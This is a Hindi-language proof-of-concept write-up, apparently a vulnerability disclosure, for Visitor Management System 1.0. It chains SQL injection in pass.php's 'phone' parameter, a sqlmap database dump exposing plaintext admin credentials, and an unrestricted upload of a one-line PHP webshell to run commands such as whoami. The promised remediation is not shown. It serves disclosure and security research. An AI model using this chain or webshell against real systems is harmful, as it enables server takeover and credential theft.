
प्रूफ-ऑफ-कॉन्सेप्ट जो SQL इंजेक्शन और अनप्रतिबंधित फ़ाइल अपलोड को जोड़कर Visitor Management System 1.0 में रिमोट कोड एक्ज़ीक्यूशन प्राप्त करने का प्रदर्शन करता है, जिसमें चरण-दर-चरण शोषण और उपचार मार्गदर्शन शामिल है।
| फ़ील्ड | विवरण |
|---|---|
| उत्पाद | विज़िटर प्रबंधन प्रणाली |
| विक्रेता | code-projects.org |
| संस्करण | 1.0 |
| भेद्यता वर्ग | SQL इंजेक्शन (CWE-89) + असीमित फ़ाइल अपलोड (CWE-434) |
| CVE ID | लंबित |
| CVSS स्कोर | 9.8 गंभीर (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| प्रमाणीकरण आवश्यक | निम्न विशेषाधिकार (गार्ड खाता) प्रवेश बिंदु के रूप में |
| प्रभावित फ़ाइलें | /vms/php/pass.php, /vms/php/admin_user_0.php |
| असुरक्षित पैरामीटर | phone (POST) |
code-projects.org द्वारा विज़िटर प्रबंधन प्रणाली 1.0 SQL इंजेक्शन और असीमित फ़ाइल अपलोड को मिलाकर एक गंभीर हमला श्रृंखला के प्रति असुरक्षित है, जो रिमोट कोड निष्पादन की ओर ले जाती है।
निम्न-विशेषाधिकार पहुंच (गार्ड खाता) वाला एक हमलावर pass.php में phone POST पैरामीटर के माध्यम से SQL इंजेक्शन भेद्यता का शोषण कर सकता है ताकि पूरे डेटाबेस को डंप किया जा सके — जिसमें सादा-पाठ व्यवस्थापक क्रेडेंशियल शामिल हैं। निकाले गए क्रेडेंशियल का उपयोग करके व्यवस्थापक के रूप में प्रमाणित होने के बाद, हमलावर व्यवस्थापक उपयोगकर्ता प्रबंधन पैनल (admin_user_0.php) के माध्यम से एक PHP वेबशेल अपलोड कर सकता है, जो कोई फ़ाइल प्रकार या एक्सटेंशन सत्यापन नहीं करता है। अपलोड की गई वेबशेल वेब-सुलभ निर्देशिका में संग्रहीत होती है और URL के माध्यम से सीधे निष्पादित की जा सकती है, जिसके परिणामस्वरूप सर्वर पर पूर्ण रिमोट कोड निष्पादन होता है।
इसके अतिरिक्त, पासवर्ड डेटाबेस में सादा पाठ में संग्रहीत होते हैं, जिसका अर्थ है कि SQLi डंप के बाद कोई क्रैकिंग चरण आवश्यक नहीं है।
निम्न-विशेषाधिकार गार्ड लॉगिन
↓
pass.php में SQL इंजेक्शन (phone पैरामीटर)
↓
sqlmap डंप → सादा-पाठ व्यवस्थापक क्रेडेंशियल निकाले गए
↓
व्यवस्थापक के रूप में लॉगिन (sanjay1:7861)
↓
admin_user_0.php में असीमित फ़ाइल अपलोड
↓
PHP वेबशेल /vms/php/folder/ में अपलोड की गई
↓
?cmd=whoami के माध्यम से RCE → पूर्ण सर्वर समझौता
VMS एप्लिकेशन पर नेविगेट करें और गार्ड क्रेडेंशियल के साथ लॉगिन करें। लॉगिन के बाद, फ़ोन नंबर पृष्ठ पर नेविगेट करें:
http://<TARGET>/vms/php/phone_0.php
फ़ोन नंबर मान के रूप में एक एकल उद्धरण ' सबमिट करें। एप्लिकेशन एक घातक MariaDB त्रुटि फेंकता है जो कच्चे क्वेरी और फ़ाइल पथ को उजागर करती है:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '2026-05-05'' at line 1 in
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')
प्रभावित फ़ाइल: pass.php पंक्ति 9
असुरक्षित पैरामीटर: phone (POST)
sql त्रुटि

Burp Suite द्वारा कैप्चर किए गए अनुरोध को एक फ़ाइल (sqli.txt) में सहेजें और sqlmap चलाएँ:
sqlmap -r sqli.txt --dump --batch
sqlmap सफलतापूर्वक vms डेटाबेस से login_user तालिका को डंप करता है, जिससे सभी उपयोगकर्ताओं के सादा-पाठ क्रेडेंशियल प्रकट होते हैं:
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image | phone | name | user | gender | password | username |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1 | <blank> | 8146905071 | sanjay | guard | male | 786 | sanjay123 |
| 2 | <blank> | 8146905071 | sanjay1 | admin | male | 7861 | sanjay1 |
+----+---------+------------+---------+-------+--------+----------+-----------+
नोट: पासवर्ड सादा पाठ में संग्रहीत हैं — कोई हैश क्रैकिंग आवश्यक नहीं है।
निकाले गए व्यवस्थापक क्रेडेंशियल का उपयोग करके, व्यवस्थापक पैनल में लॉगिन करें:
उपयोगकर्ता नाम: sanjay1
पासवर्ड: 7861
पूर्ण व्यवस्थापक डैशबोर्ड अब सुलभ है जिसमें कर्मचारी, विभाग, व्यवस्थापक उपयोगकर्ता और रिपोर्ट प्रबंधन शामिल हैं।
व्यवस्थापक उपयोगकर्ता प्रबंधन पृष्ठ पर नेविगेट करें:
http://<TARGET>/vms/php/admin_user_0.php
पृष्ठ में प्रोफ़ाइल छवि के लिए एक फ़ाइल अपलोड फ़ील्ड है। एप्लिकेशन कोई फ़ाइल प्रकार सत्यापन, कोई एक्सटेंशन फ़िल्टरिंग, और कोई MIME प्रकार जाँच नहीं करता है।
फ़ॉर्म को किसी भी मान के साथ भरें और छवि फ़ाइल (web2_command.php) के रूप में निम्नलिखित PHP वेबशेल अपलोड करें:
<?php echo shell_exec($_GET['cmd']); ?>
व्यवस्थापक उपयोगकर्ता प्रदर्शन पृष्ठ पर नेविगेट करें:
http://<TARGET>/vms/php/admin_display_0.php
नव निर्मित व्यवस्थापक खाता तालिका में दिखाई देता है। अपलोड की गई वेबशेल यहाँ संग्रहीत है:
http://<TARGET>/vms/php/folder/web2_command.php
वेबशेल के माध्यम से मनमाने सिस्टम कमांड निष्पादित करें:
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami
परिणाम: सर्वर वर्तमान सिस्टम उपयोगकर्ता लौटाता है जो पूर्ण रिमोट कोड निष्पादन की पुष्टि करता है:
desktop-g1i9np3\dell